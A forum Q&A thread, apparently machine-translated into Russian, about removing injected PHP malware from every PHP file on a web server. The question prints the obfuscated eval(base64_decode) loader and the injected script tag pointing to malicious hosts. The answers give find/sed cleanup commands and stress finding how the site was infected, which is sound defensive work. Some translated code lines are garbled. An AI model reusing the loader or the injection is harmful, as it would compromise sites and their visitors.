Как я могу удалить iframe-вирус из всех php-файлов на моем сайте?

У меня проблема с удалением кода вируса из моих php-файлов. На моем сервере более 1200 php-файлов, и каждый отдельный php-файл заражен вирусом. Код вируса, добавляющий эту строку в вывод html

<script src="http://holasionweb.com/oo.php"></script> 

Это код вируса

 <?php /**/ eval(base64_decode("aWYoZnVuY+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?> 

Выше кода в каждом файле php. Как я могу удалить этот код вируса из каждого php-файла? Есть ли быстрый способ сделать это?

Сохраните следующий код как cleaner.php и загрузите его в корневой каталог и вызовите его через браузер.

  Site clean up by <a href="http://sucuri.net">http://sucuri.net</a><br /> This script will clean the malware from this attack: <a href="http://sucuri.net/malware/entry/MW:MROBH:1">http://sucuri.net/malware/entry/MW:MROBH:1</a> <br /><br /> If you need help, contact dd@sucuri.net or visit us at <a href="http://sucuri.net/index.php?page=nbi"> http://sucuri.net/index.php?page=nbi</a> <br /> <br /> <?php $dir = "./"; $rmcode = `find $dir -name "*.php" -type f |xargs sed -i 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`; echo "Malware removed.<br />\n"; $emptyline = `find $dir -name "*.php" -type f | xargs sed -i '/./,$!d' 2>&1`; echo "Empty lines removed.<br />\n"; ?> <br /> Completed. 

Простая команда из ssh аналогична:

 find /path/to/docroot -name '*.php' -exec sed -i 's/<script.*?holasionweb.*?script>//' {} \; 

почему бы не настроить быстрый скрипт на вашем любимом языке сценариев, чтобы просмотреть каждый файл для чего-то подобного и удалить его? souns, как 10-минутный сценарий для меня

Заметьте, я говорю, скрипт, потому что 1200 файлов слишком много сделать вручную

В первом ответе выше отсутствует код для завершения удаления.

Также необходимо удалить строку сценария HTML, которая вводит javascript на PHP / HTML-страницу (обычно это находится в конце страницы рядом с тегом, заголовком или иным образом).

Хотя по состоянию на 5/12/2010, holasionweb является основным источником инъекции javscript (по крайней мере, я видел), приведенная выше страница: http://sucuri.net/malware/entry/MW:MROBH:1 относится к несколько «возможных» источников javascipt, которые необходимо удалить.

(Зараженные сайты javascript вредоносных программ) http://www.indesignstudioinfo.com/ls.php zettapetta.com/js.php holasionweb.com/oo.php

Добавьте эти строки, чтобы удалить вызовы из 3 источников вредоносных программ: (если ваша инфекция использует другой источник, соответствующим образом измените регулярный экспресс.

$ removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://holasionweb\.com.*/script>##g' 2>&1 ;

$ removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://www.indesignstudioinfo\.com.*/script>##g' 2>&1 ;

$ removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://zettapetta\.com.*/script>##g' 2>&1 ;

echo "Javascript удален.
\ П ";

На некоторых машинах (с Linux, я думаю) вы должны добавить «» после sed -i. После этого команда будет выглядеть так:

 $rmcode = `find $dir -name "*.php" -type f |xargs sed -i "" 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`; 

Если это один и тот же фрагмент кода в каждом файле, вы можете загрузить Notepad ++, например. Откройте все файлы и используйте Find in File in Find (ctrl+F) чтобы заменить этот PHP-код в каждом файле

alt text

Вопрос никто не спросил, но должен: Как файлы заразились на сервере?

Нет смысла удалять следы вируса, если метод заражения не найден. Если это ошибка безопасности установленного программного пакета, удаление, скорее всего, не приведет к чему-либо, кроме повторного заражения, возможно, после короткого перерыва. Если это слабый пароль, который был взломан, не меняя его, он снова и снова будет подвергать сервер одной и той же атаке.

Итак, первый шаг после обнаружения такой атаки: Узнайте, как это было сделано!